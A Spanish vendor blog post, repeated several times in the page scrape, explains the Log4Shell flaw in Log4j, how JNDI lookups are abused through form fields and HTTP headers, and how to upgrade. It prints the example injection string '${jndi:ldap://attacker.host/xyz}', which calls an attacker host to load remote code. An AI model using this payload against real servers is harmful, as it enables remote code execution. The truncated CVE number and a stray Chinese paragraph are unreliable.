Iconos SCW
héroe bg sin separador
Blog

Explicación detallada de la vulnerabilidad de Log4j: sus vectores de ataque y métodos de prevención

Laura Verheyde
Publicado el 16 de enero de 2022
Última actualización el 9 de marzo de 2026

El 9 de diciembre se reveló una vulnerabilidad de 0 días en la biblioteca Java Log4j. CVE-44228, apodadaLog4Shell, recibió una calificación de «alta gravedad» (competición) debido a que la vulnerabilidad podríapermitir la ejecución remota de código. Además, log4j-core es una de las bibliotecas de registro Java más utilizadas, por lo que pone en peligro a millones de aplicaciones.

¿Quieres mejorar rápidamente tus habilidades para manejar Log4Shell?

Hemos creado una vitrina que le llevará desde los conceptos básicos de Log4Shell hasta la experiencia de aprovechar esta vulnerabilidad en un simulador llamado Mission. En esta misión, le guiaremos para que comprenda cómo la vulnerabilidad de Log4j afecta a su infraestructura y sus aplicaciones. Haga clic aquí para acceder directamente a la vitrinao siga leyendo para obtener más información sobre la vulnerabilidad.

¿Noticias viejas?

Esta vulnerabilidad no es nada nuevo. Los investigadores de seguridad ya lo destacaron en la conferencia BlackHat de 2016. Álvaro Muñoz y Oleksandr Miroshseñalaron que «las aplicaciones no deben utilizar datos no fiables para ejecutar consultas JNDI» yexplicaron cómo una inyección JNDI/LDAP dirigida puede dar lugar a la ejecución remota de código. Y eso es precisamente el núcleo de Log4Shell.

Vector de ataque

La carga inyectada por Log4Shell es la siguiente:

$ {jndi: ldap: //attacker.host/xyz}

要理解这一点,我们需要了解 Java 的表达式语言 (EL)。用以下语法编写的表达式: $ {expr} 将在运行时进行评估。例如,$ {java: version} 将返回正在使用的 Java 版本。

A continuación viene JNDI, o Java Naming and Directory Interface,una API que permite conectarse a servicios mediante protocolos como LDAP, DNS o RMI para recuperar datos o recursos. En resumen, en el ejemplo anterior de carga maliciosa, JNDI realiza una consulta al servidor LDAP controlado por el atacante. Por ejemplo, su respuesta podría apuntar a un archivo de clase Java que contiene código malicioso, que a su vez se ejecutaría en el servidor vulnerable.

La vulnerabilidad es tan problemática porque Log4j evalúa todas las entradas de registro y consulta todas las entradas de usuario registradas escritas con sintaxis EL que comienzan por «jndi». Se puede inyectar una carga útil en cualquier lugar donde el usuario pueda introducir datos, como los campos de un formulario. Además, los encabezados HTTP, como User-Agent y X-Forwarded-For, así como otros encabezados, se pueden personalizar para transportar la carga útil.

Para experimentar personalmente las vulnerabilidades, diríjase a nuestra zona de exposición y pase al paso 2: «Experimente el impacto».

Prevención: Concienciación

Se recomienda actualizar todas las aplicaciones, ya que Log4j ha estado corrigiendo el código vulnerable. Sin embargo, las versiones 2.15.0 y 2.16.0 contienen vulnerabilidades DDoS y otras, lo que significa que, a partir de finales de diciembre, se recomienda actualizar a la versión 2.17.0.

Cuando los desarrolladores escriben código, debemos tener siempre en cuenta la seguridad. Log4Shell nos enseña que el uso de marcos o bibliotecas de terceros conlleva riesgos. Debemos ser conscientes de que el uso de recursos externos puede comprometer la seguridad de nuestras aplicaciones, aunque ingenuamente pensemos que dichos recursos son seguros.

¿Se puede prevenir esta vulnerabilidad? Sí y no. Por un lado, los desarrolladores solo pueden hacer más si se introducen componentes vulnerables a través de software de terceros. Por otro lado, la lección que se aprende de esto se repite una y otra vez: nunca se debe confiar en las entradas de los usuarios.

Secure Code Warrior cree que los desarrolladores con conciencia de seguridad son la mejor manera de prevenir las vulnerabilidades del código. Dado que SCW ofrece formación a gran escala sobre marcos de programación específicos, los clientes empresariales pueden utilizar los datos de los informes para identificar rápidamente a los desarrolladores Java afectados. También cuentan con el apoyo de expertos en seguridad formados por SCW para acelerar la actualización de Log4j.

EspecialmenteSecure Code Warrior los desarrolladores de Java,Secure Code Warrior Senseicomplemento gratuito para IntelliJ. Esta herramienta de análisis de código basada en reglas se puede utilizar para hacer cumplir las directrices de codificación, así como para prevenir y corregir vulnerabilidades. Puede crear sus propias reglas o utilizar nuestras reglas ya preparadas, las recetas. Explore nuestras recetas y noolvide descargar nuestra receta Log4j, que le ayudará a encontrar y corregir la vulnerabilidad Log4Shell en un abrir y cerrar de ojos.

Mejora tus habilidades para defenderte de Log4Shell.

¿Le interesa poner en práctica lo que ha aprendido en esta entrada del blog? Nuestra vitrina puede ayudarle. Al comienzo de la demostración, podrá echar un vistazo rápido a esta vulnerabilidad y, a continuación, se le guiará a un entorno simulado donde podrá probar la vulnerabilidad siguiendo las instrucciones.


Ver recursos
Ver recursos

En diciembre de 2021, se reveló una grave vulnerabilidad de seguridad llamada Log4Shell en la biblioteca Java Log4j. En este artículo, desglosaremos la vulnerabilidad Log4Shell en su forma más simple para que puedas comprender los conceptos básicos y te presentaremos una tarea: un patio de recreo en el que podrás utilizar tus conocimientos sobre la vulnerabilidad para intentar atacar un sitio web simulado.

¿Te interesa saber más?

Más información

Secure Code Warrior puede ayudar a su organización a proteger el código a lo largo de todo el ciclo de vida del desarrollo de software y a crear una cultura que dé prioridad a la ciberseguridad. Tanto si es usted responsable de seguridad de aplicaciones, desarrollador, director de seguridad de la información o cualquier otra persona relacionada con la seguridad, podemos ayudar a su organización a reducir los riesgos asociados al código inseguro.

Reservar una demostración
Compartir en:
marcas de LinkedInSocialx logotipo
Autor
Laura Verheyde
Publicado el 16 de enero de 2022

Laura Verheyde es una desarrolladora de software en Secure Code Warrior centrada en la investigación de vulnerabilidades y la creación de contenidos para Missions y Coding labs.

Compartir en:
marcas de LinkedInSocialx logotipo

El 9 de diciembre se reveló una vulnerabilidad de 0 días en la biblioteca Java Log4j. CVE-44228, apodadaLog4Shell, recibió una calificación de «alta gravedad» (competición) debido a que la vulnerabilidad podríapermitir la ejecución remota de código. Además, log4j-core es una de las bibliotecas de registro Java más utilizadas, por lo que pone en peligro a millones de aplicaciones.

¿Quieres mejorar rápidamente tus habilidades para manejar Log4Shell?

Hemos creado una vitrina que le llevará desde los conceptos básicos de Log4Shell hasta la experiencia de aprovechar esta vulnerabilidad en un simulador llamado Mission. En esta misión, le guiaremos para que comprenda cómo la vulnerabilidad de Log4j afecta a su infraestructura y sus aplicaciones. Haga clic aquí para acceder directamente a la vitrinao siga leyendo para obtener más información sobre la vulnerabilidad.

¿Noticias viejas?

Esta vulnerabilidad no es nada nuevo. Los investigadores de seguridad ya lo destacaron en la conferencia BlackHat de 2016. Álvaro Muñoz y Oleksandr Miroshseñalaron que «las aplicaciones no deben utilizar datos no fiables para ejecutar consultas JNDI» yexplicaron cómo una inyección JNDI/LDAP dirigida puede dar lugar a la ejecución remota de código. Y eso es precisamente el núcleo de Log4Shell.

Vector de ataque

La carga inyectada por Log4Shell es la siguiente:

$ {jndi: ldap: //attacker.host/xyz}

要理解这一点,我们需要了解 Java 的表达式语言 (EL)。用以下语法编写的表达式: $ {expr} 将在运行时进行评估。例如,$ {java: version} 将返回正在使用的 Java 版本。

A continuación viene JNDI, o Java Naming and Directory Interface,una API que permite conectarse a servicios mediante protocolos como LDAP, DNS o RMI para recuperar datos o recursos. En resumen, en el ejemplo anterior de carga maliciosa, JNDI realiza una consulta al servidor LDAP controlado por el atacante. Por ejemplo, su respuesta podría apuntar a un archivo de clase Java que contiene código malicioso, que a su vez se ejecutaría en el servidor vulnerable.

La vulnerabilidad es tan problemática porque Log4j evalúa todas las entradas de registro y consulta todas las entradas de usuario registradas escritas con sintaxis EL que comienzan por «jndi». Se puede inyectar una carga útil en cualquier lugar donde el usuario pueda introducir datos, como los campos de un formulario. Además, los encabezados HTTP, como User-Agent y X-Forwarded-For, así como otros encabezados, se pueden personalizar para transportar la carga útil.

Para experimentar personalmente las vulnerabilidades, diríjase a nuestra zona de exposición y pase al paso 2: «Experimente el impacto».

Prevención: Concienciación

Se recomienda actualizar todas las aplicaciones, ya que Log4j ha estado corrigiendo el código vulnerable. Sin embargo, las versiones 2.15.0 y 2.16.0 contienen vulnerabilidades DDoS y otras, lo que significa que, a partir de finales de diciembre, se recomienda actualizar a la versión 2.17.0.

Cuando los desarrolladores escriben código, debemos tener siempre en cuenta la seguridad. Log4Shell nos enseña que el uso de marcos o bibliotecas de terceros conlleva riesgos. Debemos ser conscientes de que el uso de recursos externos puede comprometer la seguridad de nuestras aplicaciones, aunque ingenuamente pensemos que dichos recursos son seguros.

¿Se puede prevenir esta vulnerabilidad? Sí y no. Por un lado, los desarrolladores solo pueden hacer más si se introducen componentes vulnerables a través de software de terceros. Por otro lado, la lección que se aprende de esto se repite una y otra vez: nunca se debe confiar en las entradas de los usuarios.

Secure Code Warrior cree que los desarrolladores con conciencia de seguridad son la mejor manera de prevenir las vulnerabilidades del código. Dado que SCW ofrece formación a gran escala sobre marcos de programación específicos, los clientes empresariales pueden utilizar los datos de los informes para identificar rápidamente a los desarrolladores Java afectados. También cuentan con el apoyo de expertos en seguridad formados por SCW para acelerar la actualización de Log4j.

EspecialmenteSecure Code Warrior los desarrolladores de Java,Secure Code Warrior Senseicomplemento gratuito para IntelliJ. Esta herramienta de análisis de código basada en reglas se puede utilizar para hacer cumplir las directrices de codificación, así como para prevenir y corregir vulnerabilidades. Puede crear sus propias reglas o utilizar nuestras reglas ya preparadas, las recetas. Explore nuestras recetas y noolvide descargar nuestra receta Log4j, que le ayudará a encontrar y corregir la vulnerabilidad Log4Shell en un abrir y cerrar de ojos.

Mejora tus habilidades para defenderte de Log4Shell.

¿Le interesa poner en práctica lo que ha aprendido en esta entrada del blog? Nuestra vitrina puede ayudarle. Al comienzo de la demostración, podrá echar un vistazo rápido a esta vulnerabilidad y, a continuación, se le guiará a un entorno simulado donde podrá probar la vulnerabilidad siguiendo las instrucciones.


Ver recursos
Ver recursos

Rellene el siguiente formulario para descargar el informe.

Nos gustaría obtener su permiso para enviarle información sobre nuestros productos y/o temas relacionados con la codificación de seguridad. Trataremos su información personal con el máximo cuidado y nunca la venderemos a otras empresas con fines comerciales.

Enviar
Icono de éxito de SCW
Icono de error scw
Para enviar el formulario, habilite las cookies de análisis. Una vez completado, puede desactivarlas nuevamente si lo desea.

El 9 de diciembre se reveló una vulnerabilidad de 0 días en la biblioteca Java Log4j. CVE-44228, apodadaLog4Shell, recibió una calificación de «alta gravedad» (competición) debido a que la vulnerabilidad podríapermitir la ejecución remota de código. Además, log4j-core es una de las bibliotecas de registro Java más utilizadas, por lo que pone en peligro a millones de aplicaciones.

¿Quieres mejorar rápidamente tus habilidades para manejar Log4Shell?

Hemos creado una vitrina que le llevará desde los conceptos básicos de Log4Shell hasta la experiencia de aprovechar esta vulnerabilidad en un simulador llamado Mission. En esta misión, le guiaremos para que comprenda cómo la vulnerabilidad de Log4j afecta a su infraestructura y sus aplicaciones. Haga clic aquí para acceder directamente a la vitrinao siga leyendo para obtener más información sobre la vulnerabilidad.

¿Noticias viejas?

Esta vulnerabilidad no es nada nuevo. Los investigadores de seguridad ya lo destacaron en la conferencia BlackHat de 2016. Álvaro Muñoz y Oleksandr Miroshseñalaron que «las aplicaciones no deben utilizar datos no fiables para ejecutar consultas JNDI» yexplicaron cómo una inyección JNDI/LDAP dirigida puede dar lugar a la ejecución remota de código. Y eso es precisamente el núcleo de Log4Shell.

Vector de ataque

La carga inyectada por Log4Shell es la siguiente:

$ {jndi: ldap: //attacker.host/xyz}

要理解这一点,我们需要了解 Java 的表达式语言 (EL)。用以下语法编写的表达式: $ {expr} 将在运行时进行评估。例如,$ {java: version} 将返回正在使用的 Java 版本。

A continuación viene JNDI, o Java Naming and Directory Interface,una API que permite conectarse a servicios mediante protocolos como LDAP, DNS o RMI para recuperar datos o recursos. En resumen, en el ejemplo anterior de carga maliciosa, JNDI realiza una consulta al servidor LDAP controlado por el atacante. Por ejemplo, su respuesta podría apuntar a un archivo de clase Java que contiene código malicioso, que a su vez se ejecutaría en el servidor vulnerable.

La vulnerabilidad es tan problemática porque Log4j evalúa todas las entradas de registro y consulta todas las entradas de usuario registradas escritas con sintaxis EL que comienzan por «jndi». Se puede inyectar una carga útil en cualquier lugar donde el usuario pueda introducir datos, como los campos de un formulario. Además, los encabezados HTTP, como User-Agent y X-Forwarded-For, así como otros encabezados, se pueden personalizar para transportar la carga útil.

Para experimentar personalmente las vulnerabilidades, diríjase a nuestra zona de exposición y pase al paso 2: «Experimente el impacto».

Prevención: Concienciación

Se recomienda actualizar todas las aplicaciones, ya que Log4j ha estado corrigiendo el código vulnerable. Sin embargo, las versiones 2.15.0 y 2.16.0 contienen vulnerabilidades DDoS y otras, lo que significa que, a partir de finales de diciembre, se recomienda actualizar a la versión 2.17.0.

Cuando los desarrolladores escriben código, debemos tener siempre en cuenta la seguridad. Log4Shell nos enseña que el uso de marcos o bibliotecas de terceros conlleva riesgos. Debemos ser conscientes de que el uso de recursos externos puede comprometer la seguridad de nuestras aplicaciones, aunque ingenuamente pensemos que dichos recursos son seguros.

¿Se puede prevenir esta vulnerabilidad? Sí y no. Por un lado, los desarrolladores solo pueden hacer más si se introducen componentes vulnerables a través de software de terceros. Por otro lado, la lección que se aprende de esto se repite una y otra vez: nunca se debe confiar en las entradas de los usuarios.

Secure Code Warrior cree que los desarrolladores con conciencia de seguridad son la mejor manera de prevenir las vulnerabilidades del código. Dado que SCW ofrece formación a gran escala sobre marcos de programación específicos, los clientes empresariales pueden utilizar los datos de los informes para identificar rápidamente a los desarrolladores Java afectados. También cuentan con el apoyo de expertos en seguridad formados por SCW para acelerar la actualización de Log4j.

EspecialmenteSecure Code Warrior los desarrolladores de Java,Secure Code Warrior Senseicomplemento gratuito para IntelliJ. Esta herramienta de análisis de código basada en reglas se puede utilizar para hacer cumplir las directrices de codificación, así como para prevenir y corregir vulnerabilidades. Puede crear sus propias reglas o utilizar nuestras reglas ya preparadas, las recetas. Explore nuestras recetas y noolvide descargar nuestra receta Log4j, que le ayudará a encontrar y corregir la vulnerabilidad Log4Shell en un abrir y cerrar de ojos.

Mejora tus habilidades para defenderte de Log4Shell.

¿Le interesa poner en práctica lo que ha aprendido en esta entrada del blog? Nuestra vitrina puede ayudarle. Al comienzo de la demostración, podrá echar un vistazo rápido a esta vulnerabilidad y, a continuación, se le guiará a un entorno simulado donde podrá probar la vulnerabilidad siguiendo las instrucciones.


Ver el seminario web
Empecemos.
Más información

Haga clic en el siguiente enlace y descargue el PDF de este recurso.

Secure Code Warrior puede ayudar a su organización a proteger el código a lo largo de todo el ciclo de vida del desarrollo de software y a crear una cultura que dé prioridad a la ciberseguridad. Tanto si es usted responsable de seguridad de aplicaciones, desarrollador, director de seguridad de la información o cualquier otra persona relacionada con la seguridad, podemos ayudar a su organización a reducir los riesgos asociados al código inseguro.

Ver informeReservar una demostración
Ver recursos
Compartir en:
marcas de LinkedInSocialx logotipo
¿Te interesa saber más?

Compartir en:
marcas de LinkedInSocialx logotipo
Autor
Laura Verheyde
Publicado el 16 de enero de 2022

Laura Verheyde es una desarrolladora de software en Secure Code Warrior centrada en la investigación de vulnerabilidades y la creación de contenidos para Missions y Coding labs.

Compartir en:
marcas de LinkedInSocialx logotipo

El 9 de diciembre se reveló una vulnerabilidad de 0 días en la biblioteca Java Log4j. CVE-44228, apodadaLog4Shell, recibió una calificación de «alta gravedad» (competición) debido a que la vulnerabilidad podríapermitir la ejecución remota de código. Además, log4j-core es una de las bibliotecas de registro Java más utilizadas, por lo que pone en peligro a millones de aplicaciones.

¿Quieres mejorar rápidamente tus habilidades para manejar Log4Shell?

Hemos creado una vitrina que le llevará desde los conceptos básicos de Log4Shell hasta la experiencia de aprovechar esta vulnerabilidad en un simulador llamado Mission. En esta misión, le guiaremos para que comprenda cómo la vulnerabilidad de Log4j afecta a su infraestructura y sus aplicaciones. Haga clic aquí para acceder directamente a la vitrinao siga leyendo para obtener más información sobre la vulnerabilidad.

¿Noticias viejas?

Esta vulnerabilidad no es nada nuevo. Los investigadores de seguridad ya lo destacaron en la conferencia BlackHat de 2016. Álvaro Muñoz y Oleksandr Miroshseñalaron que «las aplicaciones no deben utilizar datos no fiables para ejecutar consultas JNDI» yexplicaron cómo una inyección JNDI/LDAP dirigida puede dar lugar a la ejecución remota de código. Y eso es precisamente el núcleo de Log4Shell.

Vector de ataque

La carga inyectada por Log4Shell es la siguiente:

$ {jndi: ldap: //attacker.host/xyz}

要理解这一点,我们需要了解 Java 的表达式语言 (EL)。用以下语法编写的表达式: $ {expr} 将在运行时进行评估。例如,$ {java: version} 将返回正在使用的 Java 版本。

A continuación viene JNDI, o Java Naming and Directory Interface,una API que permite conectarse a servicios mediante protocolos como LDAP, DNS o RMI para recuperar datos o recursos. En resumen, en el ejemplo anterior de carga maliciosa, JNDI realiza una consulta al servidor LDAP controlado por el atacante. Por ejemplo, su respuesta podría apuntar a un archivo de clase Java que contiene código malicioso, que a su vez se ejecutaría en el servidor vulnerable.

La vulnerabilidad es tan problemática porque Log4j evalúa todas las entradas de registro y consulta todas las entradas de usuario registradas escritas con sintaxis EL que comienzan por «jndi». Se puede inyectar una carga útil en cualquier lugar donde el usuario pueda introducir datos, como los campos de un formulario. Además, los encabezados HTTP, como User-Agent y X-Forwarded-For, así como otros encabezados, se pueden personalizar para transportar la carga útil.

Para experimentar personalmente las vulnerabilidades, diríjase a nuestra zona de exposición y pase al paso 2: «Experimente el impacto».

Prevención: Concienciación

Se recomienda actualizar todas las aplicaciones, ya que Log4j ha estado corrigiendo el código vulnerable. Sin embargo, las versiones 2.15.0 y 2.16.0 contienen vulnerabilidades DDoS y otras, lo que significa que, a partir de finales de diciembre, se recomienda actualizar a la versión 2.17.0.

Cuando los desarrolladores escriben código, debemos tener siempre en cuenta la seguridad. Log4Shell nos enseña que el uso de marcos o bibliotecas de terceros conlleva riesgos. Debemos ser conscientes de que el uso de recursos externos puede comprometer la seguridad de nuestras aplicaciones, aunque ingenuamente pensemos que dichos recursos son seguros.

¿Se puede prevenir esta vulnerabilidad? Sí y no. Por un lado, los desarrolladores solo pueden hacer más si se introducen componentes vulnerables a través de software de terceros. Por otro lado, la lección que se aprende de esto se repite una y otra vez: nunca se debe confiar en las entradas de los usuarios.

Secure Code Warrior cree que los desarrolladores con conciencia de seguridad son la mejor manera de prevenir las vulnerabilidades del código. Dado que SCW ofrece formación a gran escala sobre marcos de programación específicos, los clientes empresariales pueden utilizar los datos de los informes para identificar rápidamente a los desarrolladores Java afectados. También cuentan con el apoyo de expertos en seguridad formados por SCW para acelerar la actualización de Log4j.

EspecialmenteSecure Code Warrior los desarrolladores de Java,Secure Code Warrior Senseicomplemento gratuito para IntelliJ. Esta herramienta de análisis de código basada en reglas se puede utilizar para hacer cumplir las directrices de codificación, así como para prevenir y corregir vulnerabilidades. Puede crear sus propias reglas o utilizar nuestras reglas ya preparadas, las recetas. Explore nuestras recetas y noolvide descargar nuestra receta Log4j, que le ayudará a encontrar y corregir la vulnerabilidad Log4Shell en un abrir y cerrar de ojos.

Mejora tus habilidades para defenderte de Log4Shell.

¿Le interesa poner en práctica lo que ha aprendido en esta entrada del blog? Nuestra vitrina puede ayudarle. Al comienzo de la demostración, podrá echar un vistazo rápido a esta vulnerabilidad y, a continuación, se le guiará a un entorno simulado donde podrá probar la vulnerabilidad siguiendo las instrucciones.


Índice

Descargar PDF
Ver recursos
¿Te interesa saber más?

Más información

Secure Code Warrior puede ayudar a su organización a proteger el código a lo largo de todo el ciclo de vida del desarrollo de software y a crear una cultura que dé prioridad a la ciberseguridad. Tanto si es usted responsable de seguridad de aplicaciones, desarrollador, director de seguridad de la información o cualquier otra persona relacionada con la seguridad, podemos ayudar a su organización a reducir los riesgos asociados al código inseguro.

Reservar una demostraciónDescargar
Compartir en:
marcas de LinkedInSocialx logotipo
Centro de recursos

Recursos para ayudarle a empezar

Más publicaciones
Centro de recursos

Recursos para ayudarle a empezar

Más publicaciones